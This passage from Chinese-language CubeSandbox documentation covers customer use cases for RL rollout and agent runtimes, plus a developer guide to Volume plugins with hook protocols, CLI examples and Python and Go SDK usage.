Sandbox 后，可以同时拿到几方面收益： * **更强的安全边界**：每次会话/每个 turn 一台独立 KVM 微虚机，硬件级隔离 + 网络策略，远好于共享内核的容器方案，可放心执行不可信代码。 * **更低的执行延迟与成本**：Cube Sandbox 单实例 100ms 级交付、< 5MB 额外内存开销、单机百并发，让"Agent 一次思考一次开沙箱"成为可行的默认实践，避免长驻容器的资源浪费。 * **零侵入的私有化能力**：得益于 E2B 协议兼容，trpc-agent-go 上层业务代码无需改动，只需切换 `WithAPIURL` / `WithTemplate` 即可在公有云 E2B 与私有化 Cube Sandbox 之间自由切换，满足合规与跨境网络要求。 * **更顺畅的多轮 Agent 体验**：会话级工作区让"画一张图—基于这张图再回答—再导出 PDF"这类任务无需手动搬运中间文件，对 Agentic RL、Deep Research、数据分析助手等场景尤其友好。 * **可演进的模板治理**：Cube Sandbox 的模板体系（如 `code-interpreter-v1`）让算法/平台团队可以在统一镜像中管理 Python 包、字体、JDK 等依赖，业务侧只需挑选模板即可。 ## 参考资料 * 框架仓库：[trpc-group/trpc-agent-go](https://github.com/trpc-group/trpc-agent-go) * 相关源码：`https://github.com/trpc-group/trpc-agent-go/tree/main/codeexecutor/e2b` * 兼容协议：[E2B Sandbox](https://e2b.dev) --- --- url: https://cubesandbox.com/zh/guide/usecases/unisound-rl-rollout.md --- # 云知声：RL rollout 场景下的密度边界压测 ## 业务背景 云知声 Atlas 智算团队用 Cube Sandbox 支撑 Agent 轨迹 rollout，覆盖两类负载：SWE Agent 数据合成（批量解决真实代码仓库问题、产出训练数据）和 Agent RL 环境训练（大量并行 episode 与环境交互）。每条轨迹需要干净、隔离、可复现的执行环境，生命周期分钟级，规模并行，且沙箱里运行的是模型生成的不可信代码。 ## 核心痛点 * **安全隔离是硬指标**：沙箱内代码行为不可预判（死循环、内存泄漏、fork 炸弹、异常网络调用），namespace/Cgroup 级隔离存在逃逸风险。 * **吞吐优先于稳态**：单节点每秒需要处理几十到上百个创建销毁请求。 * **密度边界不可拍脑袋**：标称规格落到真实负载上，受资源超卖、运行时峰值、调度参数多重影响。 * **环境一致性**：E2B SDK 默认 `bash -lc` 拉起登录 shell，两阶段任务的环境变量不会自动延续。 ## 基于 CubeSandbox 的方案 * **MicroVM 硬件级隔离**：每个沙箱是独立 KVM MicroVM，拥有自己的内核，满足不可信代码执行场景。 * **控制面/计算面分离**：1 个控制节点（cube-api / CubeMaster / cube-lifecycle-manager / cube-proxy / coredns / webui / MySQL / Redis）+ N 个轻量计算节点（仅 network-agent + cubelet），计算节点通过 `ONE_CLICK_CONTROL_PLANE_CUBEMASTER_ADDR` 注册。 * **模板主动分发**：CubeMaster 把 OCI 镜像烤成 ext4 rootfs 后推送 replica 到各计算节点，本地取内存快照，起沙箱走纯本地 FICLONE 克隆、零网络 IO；`/data/cubelet` 必须 XFS + reflink。 * **密度推导三步法**：按沙箱规格（1 核 / 4096 MiB / 10 GiB 可写层）与调度参数（内存预留 10 GiB、内存超卖 2 倍、CPU 超卖 3 倍封顶 80%）推算理论上限 117；区分安全边界（58，不超卖）与账面天花板（117）的含义；实测稳态 80-100。 * **E2B SDK 直接接入**：训练侧调度代码无需特殊适配；两阶段任务之间显式重设环境变量，绕开 login shell 状态不延续的问题。 ## 效果与收益 * **三组密度数字**：单节点调度上限 117、不超卖安全边界 58、实测稳态 80-100（双节点 160-200），瓶颈在内存侧。 * **三类瓶颈的识别方法**：内存超卖兑现（宿主 OOM）、磁盘水位超 80% 被移出调度（报错码 130597，节点仍显示 HEALTHY）、创建突发卡在 network-agent 分配 tap 设备（约 20 路并发创建为界）——三类瓶颈压力模型不同，需分开定位。 * **AutoPause 杠杆评估**：`paused_resource_release_ratio` 调到 0.7-0.8 理论上账面密度可达 3-4 倍（单节点 350-470），但 resume 变为 best-effort（瞬时资源不足返回 409）；在训练侧容错就绪前保持默认 0.0，参数支持热加载可随时再评估。 ## 参考资料 * 完整案例文章：[云知声工程实践：RL rollout 场景下的 CubeSandbox 密度边界压测](/zh/blog/posts/2026-09-01-unisound-rl-rollout) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/usecases/weknora.md --- # WeKnora：基于 CubeSandbox 的 Agent 持久化运行环境 ## 业务背景 WeKnora 是腾讯开源的企业级 LLM 知识平台（24.4k stars），把企业文档资产转化为 RAG 问答、ReAct 智能体和自维护 Wiki。v0.8.0 的核心特性是技能沙箱运行时：会话级常驻沙箱，按空间配置网络策略。沙箱层同时支持 Cube Sandbox、E2B、Docker 三种后端，其中 Cube Sandbox 跑通了会话绑定、技能快照、暂停恢复、模板管理和网络策略的完整链路。 ## 核心痛点 * **会话状态缺失**：最初 Docker `docker run --rm` 跑完即毁，上一轮装的包下一轮就丢，附件暂存、产物收集等能力注册不上。 * **技能安装成本高**：装一个技能要解析 SKILL.md、装系统包和依赖、跑验证，是数分钟级的 agent 对话，不能摊到每个会话上。 * **共享内核隔离不够**：运行模型生成代码的场景需要内核级隔离、跨主机调度、内存态快照，Docker 都给不了。 * **绑定与回收的应用语义**：Cube 的 TTL/AutoPause 管 MicroVM 寿命，但不知道会话、租户、副本、技能代际，这些语义要应用层自己兜。 ## 基于 CubeSandbox 的方案 * **中立接口 + 能力广告**：RemoteSandboxClient 六个生命周期方法 + 四个辅助接口，Cube 特有的类型/错误码/HTTP 语义全部翻译成中立 DTO，三种后端上层业务代码一行不改可互换。 * **技能快照化（最深集成点）**：从基础模板创建沙箱 → 安装技能 → 校验 → CreateSnapshot，新会话直接用快照 ID 当 TemplateID 创建，技能秒级就位；指纹机制 SHA-256(provider+APIKey+APIURL) 守门，凭据轮换后旧快照静默失效、回退基础模板。 * **会话保活**：onTimeout=pause + autoResume，空闲冻结 MicroVM 保内存态，下一轮 Connect 自动唤醒；/workspace 经 envd Files API 收成会话文件系统（附件 input/ 只读、产物 output/ 收集、跨 tool call 工作区）。 * **Redis 绑定层**：会话→沙箱权威绑定（SET NX 永不过期）+ 生命周期锁跨进程串行 + reaper 按 tenant metadata 定期对账回收孤儿。 * **轮次租约**：StaleAt 声明镜像已换但不动手，BeginTurn 时 rebuild=1 允许本轮第一次 resolve 拆建并立刻消费，解决"管理员装技能 vs 用户正在对话"抢同一台 VM 的冲突。 * **网络双开关显式定值**：allowInternetAccess 管出站、allowPublicTraffic 管入站，创建时显式设置防默认漂移。 ## 效果与收益 * 三种后端（Docker/E2B/Cube）在统一抽象下可互换，Cube 独有适配收敛在单个 cube\_remote\_client.go 文件。 * 技能环境冻结为不可变"发行版"，新会话从快照启动秒级就位，会话体感"对话还在、环境还在"。 * 总结 8 项 Agent 平台沙箱验证清单（快照即模板、运行中打快照、pause/resume 语义、metadata 认领、网络双开关、envd 契约、模板带 envd、分页与幂等）。 * 向社区反馈 4 项架构级诉求：Create 挂 volume、快照与模板分目录、pause/超时回调、会话身份一等公民。 ## 参考资料 * 完整案例文章：[WeKnora 基于 CubeSandbox 的 Agent 持久化运行环境建设](/zh/blog/posts/2026-09-17-weknora) * WeKnora 项目地址：[Tencent/WeKnora](https://github.com/Tencent/WeKnora) * Cube Sandbox 源码：[TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/zh/guide/volume-plugin.md --- # Volume 插件开发指南 CubeSandbox 正在逐步兼容 e2b Volume，为沙箱提供跨生命周期的持久化存储。本文档从**整体架构与核心原理**出发，逐步深入到**协议细节与插件开发**，帮助你将任意存储后端（对象存储、NFS、分布式文件系统等）接入 CubeSandbox。 > **版本要求** > > Volume 能力需要 **Cube 平台 ≥ 0.6.0**（CubeMaster、CubeAPI、Cubelet 均需升级），以及 **Python SDK `cubesandbox` ≥ 0.6.0**（提供 `Volume` 与 `Sandbox.create(volume_mounts=...)`）。**Go SDK**（`sdk/go`）自仓库 master 起提供等价能力（`Client.CreateVolume` 等与 `CreateOptions.VolumeMounts`）。低于上述版本的环境无 Volume API，请勿混用旧版 SDK 调用 `/volumes`。 > **当前进展**（API / SDK） > > | 能力 | 状态 | > |------|------| > | REST `GET /volumes` — 列出 Volume | ✅ 已支持（Cube ≥ 0.6.0） | > | REST `POST /volumes` — 创建 Volume | ✅ 已支持 | > | REST `GET /volumes/{volumeID}` — 查询 Volume + token | ✅ 已支持 | > | REST `DELETE /volumes/{volumeID}` — 删除 Volume | ✅ 已支持（仍被挂载时返回 409） | > | Python SDK `Volume.create` / `connect` / `list` / `get_info` / `destroy` | ✅ 已支持（SDK ≥ 0.6.0） | > | Python SDK `Sandbox.create(volume_mounts={path: volume})` | ✅ 已支持（e2b dict 映射） | > | Go SDK `Client.CreateVolume / ListVolumes / GetVolume / DeleteVolume` | ✅ 已支持 | > | Go SDK `CreateOptions.VolumeMounts`（含 `ReadOnly`） | ✅ 已支持 | > | 同一 Volume 被多个沙箱同时挂载 | ✅ 已支持 | > | 按沙箱只读挂载 | ✅ Cube SDK 扩展（Python `VolumeMount(..., read_only=True)`，Go `VolumeMount{ReadOnly: true}`）；官方 e2b SDK 自身没有只读挂载选项 | > | 创建时省略 `driver`（e2b 默认行为） | ✅ 已支持 | > **e2b API 与 SDK** > > CubeAPI 提供 **与 e2b 协议兼容** 的 `/volumes` REST 接口，可直接用 HTTP 客户端调用。 > > **官方 e2b Python SDK 不能用于 CubeSandbox** — 其请求硬编码指向 e2b.cloud 后端。请使用 **`cubesandbox` Python SDK**（`Volume`、`Sandbox.create(volume_mounts={...})`），或对自有 CubeAPI 实例发起 REST 请求。 *** ## 快速上手：用 `cubesandbox` 使用 Volume 插件 从插件到 SDK 跑通，只需四步。细节见下文各节链接。 ### 按协议开发插件并部署到对应节点 按 [核心原理](#核心原理) 中的 [插件类型](#插件类型) 与各 Hook 小节实现 Create / Destroy（Controller）与 Attach / Detach（Node）。Controller 部署到 **CubeMaster** 节点，Node 部署到 **Cubelet** 节点（同一二进制/进程可同时承担两侧）。 参考实现：[COS 插件](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md)（one-click 会将 binary 插件放到 `CubeMaster/plugin/` 与 `Cubelet/plugin/`）。 > **第三方插件请安装到 cubetoolbox 目录之外**，否则升级Cube的时候会被重置，详见 [注册与配置](#注册与配置) 与 [插件开发要点](#插件开发要点)。 ### 配置 CubeMaster / Cubelet 并重启 两侧 `volume_plugins` 使用相同的 `driver` 名，`binary_path` / `socket_path` 指向已部署的插件；修改后重启 CubeMaster 与 Cubelet 使配置生效。见 [注册与配置](#注册与配置)。 ### 安装 cubesandbox SDK ≥ 0.6.0 ```bash pip install 'cubesandbox>=0.6.0' ``` Go 侧使用 `sdk/go` 模块： ```bash go get github.com/tencentcloud/CubeSandbox/sdk/go ``` 须使用 **`cubesandbox`**，不可用官方 e2b Python SDK。配置 `CUBE_API_URL`、`CUBE_TEMPLATE_ID`，远程读写时还需 `CUBE_PROXY_NODE_IP`。见 [环境准备](#环境准备)。 ### 运行 demo ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-data") # 省略 driver → 取 volume_plugins 第一项 with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: sb.files.write("/workspace/hello.txt", "from volume") print(sb.files.read("/workspace/hello.txt")) Volume.destroy(vol.volume_id) ``` 完整生命周期与多沙箱共用见 [SDK 用法](#sdk-用法)。COS 端到端（依赖与凭证）见 [`examples/volume/cos/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md)。 *** ## 核心原理 > **图示约定**：蓝色填充 = Cube 平台；橙色填充 = Volume Plugin（开发者实现）。 ### 要解决什么问题 沙箱需要**跨重启、跨实例**保留数据（模型权重、工作区文件等）。Cube 平台负责 API、编排与透传；**Volume Plugin** 负责把真实存储后端（对象存储、NFS…）挂载成宿主机上的 `hostPath`，再由 Cubelet 经 virtiofs 暴露给 microVM。 ### 双角色模型 借鉴 Kubernetes CSI，Hook 分为**管理面**与**数据面**，由不同进程触发，职责解耦： | 角色 | 运行侧 | Hook | 职责 | |------|--------|------|------| | **Controller** | CubeMaster 调用 | Create / Destroy | 在后端创建或删除 Volume 资源 | | **Node** | Cubelet 调用 | Attach / Detach | 在宿主机挂载 / 卸载，产出 `hostPath` | 同一套 Hook 协议可用 **binary / rpc** 两种插件类型实现；四个 Hook 可在一个插件里实现，也可拆分。 #### 管理面：Create / Destroy ```mermaid flowchart LR subgraph Cube["Cube 平台"] SDK1["SDK"] API1["CubeAPI"] CM["CubeMaster"] SDK1 --> API1 --> CM end subgraph PluginC["Volume Plugin · Controller"] CH1["Create"] CH2["Destroy"] end BE["存储后端"] CM -->|"POST /volumes"| CH1 CM -->|"DELETE /volumes/:id"| CH2 CH1 --> BE CH2 --> BE style PluginC fill:#fff3e0,stroke:#e65100,stroke-width:2px style Cube fill:#e3f2fd,stroke:#1565c0,stroke-width:1px ``` #### 数据面：Attach / Detach ```mermaid flowchart LR subgraph Cube2["Cube 平台"] CM2["CubeMaster"] CL["Cubelet"] VF["virtiofs\nbind-mount"] SB["microVM"] CM2 -->|"sandbox create"| CL CL --> VF --> SB end subgraph PluginN["Volume Plugin · Node"] NH1["Attach"] NH2["Detach"] end HP["hostPath"] CL -->|"沙箱创建"| NH1 CL -->|"沙箱销毁"| NH2 NH1 --> HP NH2 --> HP HP --> VF style PluginN fill:#fff3e0,stroke:#e65100,stroke-width:2px style Cube2 fill:#e3f2fd,stroke:#1565c0,stroke-width:1px ``` 无论 **binary** 还是 **rpc**，插件都必须实现**同一套 Hook 字段**。**binary** 映射为 CLI 参数 / stdout JSON（`snake_case`，如 `volume_id` → `--volume-id`、JSON 里 `host_path`）；**rpc** 使用 `volumeplugin.proto` 中的同名字段。CubeMaster / Cubelet 在调用 Hook **之前**按配置的 `driver` 选定插件——**`driver` 不是 Hook 入参**。 > **错误返回：** **binary** 用非零 exit 与/或 stdout JSON 中非空 `"error"`；**rpc** 用 gRPC error status（响应消息不含 `error` 字段）。 ### 插件类型 | 类型 | Controller | Node | 说明 | |------|------------|------|------| | **binary** | ✅ | ✅ | 外部可执行文件；每次 Hook fork 子进程，CLI + stdout JSON | | **rpc** | ✅ | ✅ | 长驻 gRPC 插件；经 `socket_path` 连接（Unix socket 或 TCP） | 配置项 `type` 选择插件类型；**`name`（driver）须在 CubeMaster / Cubelet 全链路一致**。rpc proto 定义见 [rpc 插件 pb 定义说明](#rpc-插件-pb-定义说明)。 ### Hook 定义 | Hook | 侧 | 触发 | |------|----|------| | **Create** | Controller | `POST /volumes` | | **Destroy** | Controller | `DELETE /volumes/:id` | | **Attach** | Node | 沙箱创建（`volumeMounts`） | | **Detach** | Node | 沙箱销毁或创建失败回滚 | #### Create | 方向 | 字段 | 类型 | 说明 | |------|------|------|------| | 输入 | `volumeID` | string | 稳定 ID（UUID 或与 `name` 相同） | | 输入 | `name` | string | 展示名 | | 输出 | `token` | string | 可选鉴权令牌，返回给 SDK | | 输出 | `private_data` | string | 插件私有状态（最长 **1024** 字节）。写入 `t_cube_volume`，沙箱创建绑定时转发给 **Attach**。**不**对 API/SDK 暴露。可为空。 | | 输出 | `error` | string | 成功为 `""`（仅 binary stdout JSON） | **binary 示例** 输入（CLI）： ```bash /path/to/my-plugin --op create --volume-id my-vol --name my-vol ``` 输出（stdout JSON，exit 0）： ```json {"token":"","private_data":"","error":""} ``` #### Destroy | 方向 | 字段 | 类型 | 说明 | |------|------|------|------| | 输入 | `volumeID` | string | 要在后端删除的 Volume | | 输出 | `error` | string | 成功为 `""`（仅 binary stdout JSON） | 插件须仅凭 `volumeID` 定位后端资源（如删除 `volumes/<volumeID>/` 前缀）。Destroy **不会**自动 Detach 运行中沙箱。 **binary 示例** 输入（CLI）： ```bash /path/to/my-plugin --op destroy --volume-id my-vol ``` 输出（stdout JSON，exit 0）： ```json {"error":""} ``` #### Attach | 方向 | 字段 | 类型 | 说明 | |------|------|------|------| | 输入 | `sandboxID` | string | 正在创建的沙箱 | | 输入 | `namespace` | string | containerd namespace | | 输入 | `volumeID` | string | 与 `volumeMounts[].name` 相同 | | 输入 | `refCount` | int64 | **本 node 挂载前**沙箱数；`0` = 本 node 首次 | | 输入 | `volumeBaseDir` | string | 父目录；`hostPath` **必须**在其内 | | 输入 | `private_data` | string | Create 返回并落库的同一私有状态；可为空。binary：可选 `--private-data`（为空时不传） | | 输出 | `hostPath` | string | Cubelet mntns 内路径，供 virtiofs bind | | 输出 | `metadata` | map\[string]string | opaque 状态；Detach 原样回传 | | 输出 | `error` | string | 成功为 `""`（仅 binary stdout JSON） | * `refCount == 0`：**本 node 首次挂载** — 执行后端挂载。 * `refCount > 0`：**本 node 已有沙箱引用该 Volume** — 返回已有 `hostPath`（及 `metadata`），不要再次挂载。 * **`hostPath`：** 位于 `volumeBaseDir` 下的绝对路径（推荐 `<volumeBaseDir>/<插件名>-<volumeID>`）。否则 Cubelet 拒绝 attach、回滚并导致沙箱创建失败。默认 `volumeBaseDir`：`/data/cube-shared/volume`。 **binary 示例** 输入（CLI）： ```bash /path/to/my-plugin --op attach \ --sandbox-id sb-001 --namespace default \ --volume-id my-vol --ref-count 0 \ --volume-base-dir /data/cube-shared/volume # Create 返回非空 private_data 时可选附加： # --private-data 'volumes/my-vol/' ``` 输出（stdout JSON，exit 0）： ```json {"host_path":"/data/cube-shared/volume/my-storage-my-vol","metadata":{"mount_dir":"/data/cube-shared/volume/my-storage-my-vol"},"error":""} ``` #### Detach | 方向 | 字段 | 类型 | 说明 | |------|------|------|------| | 输入 | `sandboxID` | string | 同 Attach | | 输入 | `namespace` | string | 同 Attach | | 输入 | `volumeID` | string | 同 Attach | | 输入 | `refCount` | int64 | **本 node 卸载后**沙箱数；`0` = 本 node 最后一个 | | 输入 | `metadata` | map\[string]string | Attach 返回的 map，原样回传 | | 输出 | `error` | string | 成功为 `""`（仅 binary stdout JSON） | * `refCount == 0`：**本 node 最后一个沙箱** — 拆除共享后端挂载（保留持久数据）。 * `refCount > 0`：本 node 仍有其他沙箱挂载 — no-op。 **binary 示例** 输入（CLI）： ```bash /path/to/my-plugin --op detach \ --sandbox-id sb-001 --namespace default \ --volume-id my-vol --ref-count 0 \ --metadata '{"mount_dir":"/data/cube-shared/volume/my-storage-my-vol"}' ``` 输出（stdout JSON，exit 0）： ```json {"error":""} ``` ### RefCount 同一 Volume 可被多个沙箱共享。Cubelet 维护 **node 本地**引用计数，在调用 Node Hook 时传入 `refCount`： | 时机 | `refCount` | 插件行为 | |------|------------|----------| | Attach 前 | `0` | **本 node**首个沙箱；建立后端挂载 | | Attach 前 | `> 0` | **本 node**已有其他沙箱挂载；返回已有 `hostPath` | | Detach 后 | `0` | **本 node**最后一个沙箱；拆除共享后端挂载 | | Detach 后 | `> 0` | 本 node 仍有其他沙箱挂载；no-op | **当某 node 本地计数 0→1 或 1→0 时，Cubelet 通知 CubeMaster 更新 `t_cube_volume.refcount`；该计数非零时，管理面拒绝 `DELETE /volumes`。** ```mermaid flowchart TD A["Attach(refCount)"] --> B{"refCount == 0 ?"} B -->|是| C["本 node 首次挂载"] B -->|否| D["复用本 node 已有 hostPath"] E["Detach(refCount)"] --> F{"refCount == 0 ?"} F -->|是| G["本 node 最后一次卸载"] F -->|否| H["no-op"] ``` ### 端到端生命周期 ```mermaid sequenceDiagram box rgba(227,242,253,1) Cube 平台 participant U as 用户 / SDK participant API as CubeAPI participant M as CubeMaster participant L as Cubelet participant VM as microVM end box rgba(255,243,224,1) Volume Plugin participant P as Controller Plugin participant N as Node Plugin end Note over U,VM: ① 创建 Volume（管理面） U->>API: POST /volumes {name, driver} API->>M: POST /cube/volume M->>P: Create(volumeID, name) P-->>M: stdout JSON {"token":"...","private_data":"...","error":""} M->>M: 写入 t_cube_volume M-->>U: {volumeID, name, token} Note over U,VM: ② 创建沙箱并挂载（数据面） U->>API: POST /sandboxes {volumeMounts: [{name, path}]} API->>M: sandbox create + annotations M->>L: plugin-volume-sources annotation L->>N: Attach(refCount=0) N-->>L: AttachResult {hostPath, metadata, ...} L->>L: bind-mount → virtiofs L-->>M: 响应 ext_info（本 node refcount 0→1） M->>M: t_cube_volume.refcount += 1 L->>VM: /workspace 可见 Note over U,VM: ③ 销毁沙箱（数据面） U->>API: DELETE /sandboxes/:id L->>N: Detach(refCount=0) N-->>L: ok L->>L: unmount bind L-->>M: 响应 ext_info（本 node refcount 1→0） M->>M: t_cube_volume.refcount -= 1 Note over U,VM: ④ 删除 Volume（管理面） U->>API: DELETE /volumes/:id API->>M: DELETE /cube/volume/:id M->>M: refcount ≠ 0 → 拒绝删除 M->>P: Destroy(volumeID)（refcount == 0 时） P-->>M: ok M->>M: 硬删除 DB 记录 ``` *** ## SDK 用法 以下示例基于 **Python SDK `cubesandbox` ≥ 0.6.0**，Go 示例见 [Go SDK 用法](#go-sdk-用法)。CubeAPI 提供 e2b 兼容的 `/volumes` REST 接口；应用侧推荐优先使用 SDK。 ### e2b 兼容性说明 | 层级 | 是否 e2b 兼容 | 说明 | |------|---------------|------| | CubeAPI `/volumes` REST | ✅ 是 | `POST/GET/DELETE /volumes`、`GET /volumes/{volumeID}` | | 官方 e2b Python SDK | ❌ 否 | 硬编码 e2b.cloud 后端；**勿**用于 CubeSandbox | | `cubesandbox` Python SDK | ✅ 是 | `Volume`、`Sandbox.create(volume_mounts={path: volume})`（e2b dict） | | `cubesandbox` Go SDK（`sdk/go`） | ✅ 是 | `Client.CreateVolume / ListVolumes / GetVolume / DeleteVolume`；挂载用显式结构体 `CreateOptions.VolumeMounts`（非 e2b dict） | | 创建时省略 `driver` | ✅ 是 | CubeMaster 取 `volume_plugins` **列表第一项** | | 按沙箱只读挂载 | ❌ 否 | 官方 e2b SDK 自身没有只读 Volume 挂载选项；Cube SDK 增加 `VolumeMount(volume, read_only=True)` 扩展 | | 从快照创建时重新传入 `volumeMounts` | ✅ 是 | 与快照挂载一致时接受，省略也可以；挂载有变化时拒绝（见下文「快照、回滚、克隆与跨机恢复」） | 完整 COS 插件体验见 [`examples/volume/cos/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md)。 ### 环境准备 ```bash pip install 'cubesandbox>=0.6.0' export CUBE_API_URL=http://<cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # 远程访问时必填：数据面直连 CubeProxy，绕过 *.cube.app DNS export CUBE_PROXY_NODE_IP=<cubeproxy-node-ip> # 后端开启鉴权时可选 # export CUBE_API_KEY=<key> ``` | 环境变量 | 说明 | |----------|------| | `CUBE_API_URL` | CubeAPI 管控面地址 | | `CUBE_TEMPLATE_ID` | 创建沙箱用的模板 ID | | `CUBE_PROXY_NODE_IP` | CubeProxy 节点 IP；挂载后沙箱内读写走数据面 | | `CUBE_API_KEY` | 可选；鉴权开启时对应 `X-API-Key` | ### 完整生命周期（创建 → 挂载 → 解绑 → 删除） ```python from cubesandbox import Sandbox, Volume # ① 创建 Volume（管理面）→ 返回 live Volume 实例（e2b 兼容） # 省略 driver 与 Volume.create("my-data") 行为一致 vol = Volume.create("my-data") # 或显式指定插件： # vol = Volume.create("my-data", driver="my-storage") print(vol.volume_id, vol.name, vol.token) # token 由插件返回，可能为空 # 列出 / get_info 单查 → 返回 VolumeInfo（不含 live handle） for v in Volume.list(): print(v.volume_id, v.name) # list 不含 token info = Volume.get_info(vol.volume_id) # get_info 含 token # 重连已有卷（e2b Volume.connect） # vol = Volume.connect(vol.volume_id) # ② 创建沙箱并挂载 Volume（数据面：Attach） with Sandbox.create( volume_mounts={"/workspace": vol}, ) as sb: sb.files.write("/workspace/note.txt", "persisted!") print(sb.files.read("/workspace/note.txt")) # ③ 退出 with / 调用 sb.kill() 销毁沙箱（数据面：Detach，解绑） # ④ 删除 Volume（管理面：Destroy） Volume.destroy(vol.volume_id) # 返回 True；卷不存在时返回 False（幂等） ``` | SDK 参数 | 说明 | |----------|------| | `Volume.create(name, driver=...)` | 返回 **Volume 实例**；`name` 可选；省略则服务端生成 UUID 作为 `volume_id`；须匹配 `^[a-zA-Z0-9_-]+$`，最长 128 字符 | | `Volume.connect(volume_id)` | 返回 **Volume 实例**（e2b 兼容；内部调用 `get_info`） | | `Volume.list()` | 返回 `list[VolumeInfo]`（无 token） | | `Volume.get_info(volume_id)` | 返回 **VolumeInfo**；含 `token`（插件未返回时为 `""`） | | `Volume.destroy(volume_id)` | e2b 兼容删除；成功返回 `True`，404 返回 `False`（幂等） | | `Volume.delete(...)` | `destroy` 的兼容别名（旧代码可用，推荐 `destroy`） | | `driver` | 可选；插件名；**e2b 兼容用法下省略**——SDK 不发送该字段，CubeMaster 取 `volume_plugins` **列表第一项** | | `volume_mounts` | e2b dict `{挂载路径: Volume \| volume_id \| name}` — key 为沙箱内路径，value 为 `Volume` 实例或 volume ID 字符串；Cube SDK 还可将 value 包装为 `VolumeMount(..., read_only=True)` 以启用只读挂载 | `driver` 写入 `t_cube_volume`，沙箱创建时经 annotation 传给 Cubelet——CubeMaster 与 Cubelet 两侧 `volume_plugins[].name` 须与之一致。 ### Go SDK 用法 Go SDK（`sdk/go`）提供与上文等价的完整生命周期，使用与 Python 相同的环境变量： ```go import ( "context" "errors" cubesandbox "github.com/tencentcloud/CubeSandbox/sdk/go" ) client := cubesandbox.NewClient(cubesandbox.NewConfigFromEnv()) ctx := context.Background() // ① 创建 Volume（管理面）——Driver 省略时取 volume_plugins 第一项 volume, err := client.CreateVolume(ctx, cubesandbox.CreateVolumeOptions{Name: "my-data"}) // 列出 / 单查 volumes, err := client.ListVolumes(ctx) // 不含 token volume, err = client.GetVolume(ctx, volume.VolumeID) // 含 token // ② 创建沙箱并挂载（数据面：Attach）；ReadOnly 为 Cube 只读扩展 sb, err := client.Create(ctx, cubesandbox.CreateOptions{ TemplateID: "base", VolumeMounts: []cubesandbox.VolumeMount{ {Name: volume.VolumeID, Path: "/workspace"}, // {Name: volume.VolumeID, Path: "/dataset", ReadOnly: true} }, }) // ③ 销毁沙箱（数据面：Detach，解绑） err = sb.Kill(ctx) // ④ 删除 Volume（管理面：Destroy） if err := client.DeleteVolume(ctx, volume.VolumeID); err != nil { switch { case errors.Is(err, cubesandbox.ErrVolumeInUse): // 仍被挂载（HTTP 409）——先销毁使用该卷的沙箱 case errors.Is(err, cubesandbox.ErrVolumeNotFound): // 已不存在——幂等清理可忽略 } } ``` 与 Python SDK 的差异：挂载参数是显式的 `[]VolumeMount{Name, Path, ReadOnly}` 结构体（非 e2b dict 映射）；删除结果通过 `ErrVolumeInUse` / `ErrVolumeNotFound` 哨兵错误用 `errors.Is` 区分。name 规则、driver 省略行为、list 不返回 token 等语义与 Python 一致。更多示例见 [`sdk/go/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/go/README.md)。 ### 按沙箱选择访问模式 e2b 兼容的 mapping 仍是默认写法，并创建读写挂载。CubeSandbox 在 mapping 的 value 上增加了 `VolumeMount`，因此同一个持久 Volume 可以由不同沙箱分别选择读写或只读： ```python from cubesandbox import Sandbox, Volume, VolumeMount dataset = Volume.create("shared-dataset") # 该沙箱可以更新 Volume。 writer = Sandbox.create( volume_mounts={"/dataset": dataset}, ) # 同一个 Volume 在该沙箱中禁止修改。 reader = Sandbox.create( volume_mounts={"/dataset": VolumeMount(dataset, read_only=True)}, ) ``` 官方 e2b SDK 的 Volume 挂载接口自身没有只读选项，这不是 CubeSandbox 的兼容性限制。Cube SDK 和 REST 客户端可以显式使用 Cube 扩展 `volumeMounts[].readOnly: true`，原有 e2b 形式的请求不发送 `readOnly`，继续保持读写。 只读是**单次沙箱挂载属性**，不是 Volume 自身的全局属性。reader 不能通过该挂载创建、修改、重命名或删除文件，但仍可能看到其他读写挂载产生的变化，因此它不是不可变快照。当前一个沙箱内仍只能挂载同一个 Volume 一次；同一沙箱重复挂载同一个 Volume 会继续被拒绝。 ### 多沙箱共用同一 Volume ```python # e2b 兼容：省略 driver（默认走 CubeMaster 配置的第一项插件） vol = Volume.create("shared-data") # vol = Volume.create("shared-data", driver="my-storage") sb_a = Sandbox.create(volume_mounts={"/workspace": vol}) sb_a.files.write("/workspace/shared.txt", "from A") sb_b = Sandbox.create(volume_mounts={"/workspace": vol}) print(sb_b.files.read("/workspace/shared.txt")) # from A sb_a.kill() sb_b.kill() Volume.destroy(vol.volume_id) ``` 同一 Volume 可被多个沙箱同时挂载；一个沙箱写入的数据对其他沙箱可见。调用 `Volume.destroy()` 前须销毁**所有**挂载该 Volume 的沙箱（平台如何跟踪共享引用见 [RefCount](#refcount)）。 ### 快照、回滚、克隆与跨机恢复 Snapshot 会保存稳定的 Volume ID、容器挂载路径和只读属性，但不会复制 Volume 数据，也不会持久化运行时 `private_data`。FromSnap 由 Master 查询当前 Volume 记录，并把 driver 元数据发送给目标 Cubelet 执行 `Attach`；Pause/Resume 会校验已记录的 Volume ID，并根据 pause package 重新 Attach；原地 Rollback 则保留沙箱现有的外部挂载。 从快照创建沙箱时可以省略 `volumeMounts`，快照记录的挂载会自动重新挂载。官方 e2b 客户端会在每次创建时重新传入 `volumeMounts`，这同样可以接受，但必须与快照完全一致（相同的卷、路径和只读属性）。只要有任何不同，请求就会返回 HTTP 400（`volumeMounts must match the snapshot's volume mounts`），因为快照的 VM 内存中挂载已经固定，无法改挂到其他位置。 因此它采用 \*\*external-reference（外部引用）\*\*语义： * FromSnap 和回滚会恢复 VM/rootfs 状态，但挂载后的 Volume 展示当前数据。 * 克隆继续共享同一个 Volume；读写挂载中的写入对源沙箱和其他克隆可见。 * Plugin Volume 不会把原本支持跨机的 VM Snapshot 固定到源节点。对于 `remote_status=ready` 的 S3 VM Snapshot，目标 Cubelet 会在启动 VM 前尝试 Attach Volume。 * 调度器当前只检查 VM 兼容性，不检查 Volume portability、topology、multi-attach 